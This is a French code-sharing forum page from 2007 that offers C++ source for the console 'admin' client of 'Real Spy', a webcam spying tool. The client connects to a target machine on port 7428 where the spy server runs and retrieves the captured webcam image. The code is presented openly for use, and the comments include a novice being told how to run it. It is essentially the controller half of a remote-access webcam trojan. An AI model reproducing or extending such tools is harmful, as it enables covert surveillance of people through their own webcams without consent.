Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

REAL SPY - ADMIN


Information sur la source

Catégorie :Réseaux & Internet Classé sous : real, spy, admin, client, webcam Niveau : Débutant Date de création : 10/09/2007 Date de mise à jour : 10/09/2007 18:41:00 Vu / téléchargé: 6 079 / 364

Note :
9 / 10 - par 2 personnes
9,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (9)
Ajouter un commentaire et/ou une note

Description

voila ce code permet d'utiliser real spy de "T_Mehdi" (http://www.cppfrance.com/codes/REAL-SPY_29881.aspx).
Il utilise les sockets.

-> Ce qu'il fait: se connecte à la cible pour lui envoyer une requette afin de recevoir l'image prise par realspy server puis il l'enregistre sous le nom image.vip
 

Source

  • #include<stdio.h> //Pour printf & co...
  • #include<winsock2.h>//Pour les sockets
  • #include <iostream.h>
  • #include <fstream.h>
  • #pragma comment(lib,"ws2_32.lib")//idem
  • int main()
  • {
  • std::cout <<"Bienvenue dans le programme admin de réalspy (par Vlad)\n";
  • WSADATA wsa; //initialiser les wsa
  • WSAStartup(MAKEWORD(2,0),&wsa); //on les initialise ici
  • SOCKET sock; //Et voila notre socket !(ce n'est rien d'autre qu'une var int)
  • SOCKADDR_IN sin;//Structure ds laquelle on va stocker les parametres du socket
  • cout <<"\n entrez l'adresse ip : ";
  • char ip[15]; //adresse ip
  • scanf("%s",ip);
  • sin.sin_family=AF_INET;
  • sin.sin_addr.s_addr=inet_addr(ip);
  • sin.sin_port=htons(7428);
  • sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);// on initialise le socket
  • bind(sock,(SOCKADDR*)&sin,sizeof(sin));//On lie le socket à la structure sin pour définir ses parametres
  • if(connect(sock,(SOCKADDR*)&sin,sizeof(sin)))//essaie de se connecter, connect ressemble étrangement à bind
  • {
  • cout<<"La connection a echoue\n";
  • system("PAUSE");
  • exit(0);//fin du prog
  • }
  • char host[50];//pour stocker le nom de l'ordi local
  • gethostname(host, sizeof(host));//obtient le nom de l'ordi local
  • printf("%s connecte a %s\n",host,ip);//L'habituel printf
  • char buffer[50];//initialisation de la variable
  • memset(buffer,0,sizeof(buffer));//on nettoi buffer
  • cout <<"\nEnvoi de la requette pour recevoir le fichier\n";
  • send(sock,"##FILE##",8,0);//on envoie les entrées
  • memset(buffer,0,sizeof(buffer));//encore :)
  • HANDLE fichier; //pour écrire en mode binaire
  • DWORD octetsEcrits;
  • fichier = CreateFile("image.vip", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //création du fichier binaire
  • recv(sock,buffer,sizeof(buffer),0);
  • cout <<"\n";
  • memset(buffer,0,sizeof(buffer));//on mets les \0
  • int err=0;//détection des erreurs
  • while(err>-1)//qn y'a err=-1 c'est que la connection foire
  • {
  • err=recv(sock,buffer,sizeof(buffer),0);//recoit des données du server ds buffer
  • if (strcmp(buffer,"#End#")!=0)
  • WriteFile(fichier, buffer ,sizeof(buffer),&octetsEcrits,NULL);
  • if (strcmp(buffer,"#End#")==0) {
  • cout <<"\nFin de la reception du fichier\a";
  • break;
  • }
  • memset(buffer,0,sizeof(buffer));//on mets les \0
  • }
  • CloseHandle(fichier);
  • cout <<"\nConnection terminée\n\n";
  • WSACleanup();//vide les wsa
  • system("PAUSE");//Pause
  • }
#include<stdio.h>	//Pour printf & co...
#include<winsock2.h>//Pour les sockets
#include <iostream.h>
#include <fstream.h>
#pragma comment(lib,"ws2_32.lib")//idem

int main()
{
    std::cout <<"Bienvenue dans le programme admin de réalspy (par Vlad)\n";
   	WSADATA wsa; //initialiser les wsa
	WSAStartup(MAKEWORD(2,0),&wsa);	//on les initialise ici

	SOCKET sock;	//Et voila notre socket !(ce n'est rien d'autre qu'une var int)
	SOCKADDR_IN sin;//Structure ds laquelle on va stocker les parametres du socket
	
	cout <<"\n entrez l'adresse ip : ";

	char ip[15];	//adresse ip
	scanf("%s",ip);

	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr=inet_addr(ip);	
	sin.sin_port=htons(7428);
	sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);// on initialise le socket
	bind(sock,(SOCKADDR*)&sin,sizeof(sin));//On lie le socket à la structure sin pour définir ses parametres

	if(connect(sock,(SOCKADDR*)&sin,sizeof(sin)))//essaie de se connecter, connect ressemble étrangement à bind 
	{

		cout<<"La connection a echoue\n";
		system("PAUSE");
		exit(0);//fin du prog
	}

	char host[50];//pour stocker le nom de l'ordi local
	gethostname(host, sizeof(host));//obtient le nom de l'ordi local

	printf("%s connecte a %s\n",host,ip);//L'habituel printf

	char buffer[50];//initialisation de la variable
	memset(buffer,0,sizeof(buffer));//on nettoi buffer
        cout <<"\nEnvoi de la requette pour recevoir le fichier\n";
        

		send(sock,"##FILE##",8,0);//on envoie les entrées
		memset(buffer,0,sizeof(buffer));//encore :)
		

HANDLE fichier;  //pour écrire en mode binaire
DWORD octetsEcrits;
fichier = CreateFile("image.vip", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //création du fichier binaire


		recv(sock,buffer,sizeof(buffer),0);
		cout <<"\n";
		memset(buffer,0,sizeof(buffer));//on mets les \0
		int err=0;//détection des erreurs
	while(err>-1)//qn y'a err=-1 c'est que la connection foire
	{
      err=recv(sock,buffer,sizeof(buffer),0);//recoit des données du server ds buffer
	
		if (strcmp(buffer,"#End#")!=0)
		WriteFile(fichier, buffer ,sizeof(buffer),&octetsEcrits,NULL);
        
        if (strcmp(buffer,"#End#")==0)  {
         cout <<"\nFin de la reception du fichier\a";          
        break;
        }
        
		memset(buffer,0,sizeof(buffer));//on mets les \0
		}
		
CloseHandle(fichier);
cout <<"\nConnection terminée\n\n";

	WSACleanup();//vide les wsa
	system("PAUSE");//Pause
}

Fichier Zip

Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !
  • main.cppTélécharger ce fichier [Réservé aux membres club]Voir ce fichier2 574 octets
  • Projet1.devTélécharger ce fichier [Réservé aux membres club]916 octets
  • Projet1.exe_Télécharger ce fichier [Réservé aux membres club]481 032 octets

Télécharger le zip

Historique

10 septembre 2007 18:38:17 :
correction d'une petite erreur
10 septembre 2007 18:41:00 :
.

Commentaires et avis

signaler à un administrateur
Commentaire de T_Mehdi le 11/09/2007 18:27:22

lol une version de mon admin en C++ mode console:)
sympa :D je te met 10?XD

signaler à un administrateur
Commentaire de baby3378 le 13/09/2007 19:06:34

lol, comme tu veut,;-).
Bon ce n'est qu'un exemple avec peut de fonctionnalités (j'ai fait sa pour simplifier le code et pour ne pas ajouter de code superflu). bon, je prévois de faire une version server sous mfc ...

signaler à un administrateur
Commentaire de kiki67100 le 14/09/2007 21:43:43

Salut,

Le code et simple mais pas mal ; Bon les accent son pas géré par la console fait comme ceci

ü : \x81
é : \x82
â : \x83
ä : \x84
à : \x85
ç : \x87
ê : \x88
ë : \x89
è : \x8A
ï : \x8B
î : \x8C

C'est plus joliiee :)

Pour la video Je vais essayez de le faire :)

Voila @++

6/10

Kevin

signaler à un administrateur
Commentaire de baby3378 le 15/09/2007 22:04:12

merci, pour l'astuce, comment tu as fait pour connaitre ces caractères spéciaux ?

signaler à un administrateur
Commentaire de patatalo le 18/09/2007 00:25:29 administrateur CS

salut,
un truc comme ça, ça irait pas ?
while(int c=128;c<256;c++) printf("%2X=%c\n",c,c);

;-)

@++

signaler à un administrateur
Commentaire de kiki67100 le 18/09/2007 09:54:07

Salut Baby3378

Ben j'avais vue sur codes-sources il l'avait dit j'ai juste copié l'astuces c'est pratique parce que les û pas terrible

Voila Voila @++

Kevin

signaler à un administrateur
Commentaire de baby3378 le 18/09/2007 17:30:19

ok, merci. Pas mal ton truc Patatalo, je connaissait pas.

-> juste une petite correction : c'est pas un "while" mais un "for"

signaler à un administrateur
Commentaire de GP2008 le 25/01/2008 19:06:16

Salut
J ai téléchargé la version de T_MEDHI qui ma l air sympa mais que je n est pas réussi à fair marcher ! ^^ " Je suis NOVICE de chez NOVICE " ^^
Voila je voulais demander : Comment dois je fair pour fair fonctioné la partie ADMIN que tu à créé ?

MERCI d avance !

signaler à un administrateur
Commentaire de baby3378 le 18/09/2008 17:18:44

Salut, dsl, je suis assez pris par les cours et avais pas le temps de surveiller ma source. En faite, c'est assez simple : tu extrait projet.exe_ de l'archive, le renome en projet.exe, le lance puis lance le prog. de T_MEDHI. ensuite tu suis les instruction..
Voila, encore désolé de cette réponse si tardive.

Ajouter un commentaire

Discussions en rapport avec ce code source dans le forum

Webcam Client Serveur Data Packets [ par c0nsur ] Bonjour, J'aimerais savoir comment on peu avoir accès directement à une webcam car j'aimerais  etre capable de diffuser en stream continu la webcam d' se servir de real spy [ par vincedu67 ] Bonjour à tous,voilà mon problème:je debute en informatique et j 'ai telechargé real spy seulement voilà que dois je faire pour pouvoir m'en servir?Po application client serveur avec les socket en c [ par zizodev ] Bonjour à tous,mon problème est comment créer une application 'qui demande'.Programme client et autre serveur client  'qui demande' :Pour se connecter requetes SQL dans c++ builder 5 [ par mamel12 ] bonjour à tous j'ai vraiment besoin d'aide.je travaille avec c++ builder 5 et j'ai créé des tables avec paradox, je veux maintenant poser des requetes programme client serveur [ par titimzora ] bonjour tt le mondej'ai besoin d'un programme permettant l'envoie d'un fichier texte  LIGNE par LIGNE d'un serveur vers un client (communication entre fonctions de listes chainees en c [ par loftiteau ] bonjourje souhaite avoir d'aide pour faire des fonctions d'ajout et suppression et modification en utilisant la liste chainé suivante en language c :s rpc et l accee concurant pour modifier le contenu d un fichier a distance [ par imirem ] boujour les mec,j ai un projet de fin d etude ou je doit devlope un annuaire avec rpc pour que les client peuvent le consulte a distance ,parmit ces c erreur serveur multitheard en c [ par dyroj ] salut,j'ai créer un serveur echo en multithread et il marche a moitier sofe que par foi il confon les client.enfin c'est un peut bizare, par exemple q comprendre le code source de NetCat [ par dyroj ] bonjour a tous,il y a quelques temps que jessaye de comprendre le system qu'utilise l'outil netcat pour pour la communication reseau.Fonctionement de programme socket client/serveur dans seul ficier [ par hanane7575 ] bonjour tout le monde, j'au une ptite problem j'ai deja faire un programme client/serveur qui permet de transfers des fichies a ce niveau la tt passe


Nos sponsors

Sondage...

CalendriCode

Juillet 2009
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Comparez les prix Nouvelle version

Photothèque Nouveau !



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,749 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.